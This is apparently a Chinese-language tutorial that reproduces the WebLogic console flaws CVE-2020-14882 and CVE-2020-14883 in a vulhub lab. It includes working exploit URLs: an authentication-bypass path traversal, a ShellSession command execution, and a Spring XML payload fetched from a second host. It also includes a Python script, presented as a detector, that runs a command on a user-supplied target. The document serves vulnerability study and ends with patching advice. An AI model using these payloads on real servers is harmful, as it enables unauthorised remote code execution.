1 漏洞概述
Weblogic Pre-Auth Remote Command Execution 漏洞(CVE-2020-14882, CVE-2020-14883)是針對 Oracle WebLogic Server 的兩個安全漏洞。CVE-2020-14882 允許遠程用戶繞過管理員控制臺組件中的身份驗證,而 CVE-2020-14883 則允許經過身份驗證的用戶在管理員控制臺組件上執行任意命令。這兩個漏洞結合使用,可以使遠程攻擊者在未經身份驗證的情況下接管 WebLogic Server Console 并執行任意代碼,對系統造成極大的安全風險。
2 漏洞原理
-
CVE-2020-14882(未授權遠程命令執行漏洞):遠程攻擊者可以構造特殊的 HTTP 請求,利用 WebLogic Server Console 的路徑遍歷漏洞,訪問并修改管理員控制臺的某些資源。通過這種方式,攻擊者可以繞過身份驗證,直接訪問并操作管理員控制臺的功能。
-
CVE-2020-14883(身份驗證后遠程命令執行漏洞):一旦攻擊者通過 CVE-2020-14882 漏洞獲得了對管理員控制臺的訪問權限,他們就可以利用 CVE-2020-14883 漏洞執行任意命令。這是因為管理員控制臺組件中存在一個命令執行功能,允許用戶通過 HTTP 請求提交并執行命令。由于該漏洞允許經過身份驗證的用戶執行任意命令,因此攻擊者可以在服務器上執行任何他們想要的代碼。
3 影響版本
該漏洞影響了多個版本的 Oracle WebLogic Server,包括但不限于 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0 和 12.2.1.4.0 等。
4 vulhub靶場啟動
進入漏洞文件 cd vulhub/weblogic/CVE-2020-14882/ 啟動漏洞環境 docker compose up -d 查看漏洞端口 docker compose ps
訪問 ,您將看到頁面,表示環境正在成功運行。
5 漏洞復現
5.1 CVE-2020-14883:權限讓漏洞
攻擊者可以構造特殊請求的URL,即可未授權訪問到管理后臺頁面:
http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal
問后臺后是一個低權限的用戶,無法安裝應用,也無法直接執行任意代碼。
5.2 weblogic遠程命令執行(CVE-2020-14883)
結合 CVE-2020-14882 漏洞,遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,并在 WebLogic Server Console 執行任意代碼。
這個漏洞一共有兩種利用方法:
第一種方法是通過com.tangosol.coherence.mvel2.sh.ShellSession 第二種方法是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
5.2.1 第一種方法(weblogic 12.2.x 適用)
這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession類。
5.2.1.1 GET請求方式(無回顯)
直接訪問如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession執行命令:
http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
執行docker-compose exec weblogic bash進入容器中,可見/tmp/success1已成功創建。
5.2.2 第二種方法(weblogic 版本通用)
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一種更為通殺的方法,最早在CVE-2019-2725被提出,對于所有Weblogic版本均有效。
5.2.2.1 無回顯驗證
首先,我們需要構造一個XML文件,并將其保存在Weblogic可以訪問到的服務器上,在kali上啟動web服務器
python3 -m http.server
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[touch /tmp/success2]]></value></list></constructor-arg></bean> </beans> ?
然后通過如下URL,即可讓Weblogic加載這個XML,并執行其中的命令:
http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.135.130:8000/rce.xml")
執行docker-compose exec weblogic bash
進入容器中,可見/tmp/success2
已成功創建。
6 編寫python腳本探測漏洞
import requests ? def cve_2020_14882(ip_address):url = f"{ip_address}/console/images/%252E%252E%252Fconsole.portal"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3","Content-Type": "application/xml",}params = {"_nfpb": "true","_pageLabel": "HomePage1","handle": "com.tangosol.coherence.mvel2.sh.ShellSession(java.lang.String.join('', java.util.stream.Stream.of('i', 'd').map(it -> java.lang.Runtime.getRuntime().exec(it)).toArray()))",} ?response = requests.get(url, params=params, headers=headers, timeout=10) ?if response.status_code == 200:print("命令執行成功!")#print(response.text)else:print("命令執行失敗。") ? if __name__ == "__main__":print("注意:本代碼僅用于實驗和學習目的,請謹慎使用。")ip_address = input("請輸入目標IP地址:")cve_2020_14882(ip_address)
結果
7 漏洞修復
為了修復這些漏洞,Oracle 發布了多個安全補丁。建議用戶盡快將 WebLogic Server 升級到最新版本,并應用所有可用的安全補丁。此外,用戶還可以采取以下措施來降低風險:
-
限制對管理員控制臺的訪問權限,只允許受信任的用戶進行訪問。
-
使用強密碼策略,并定期更改密碼。
-
啟用 WebLogic Server 的安全功能,如訪問控制和審計日志記錄等。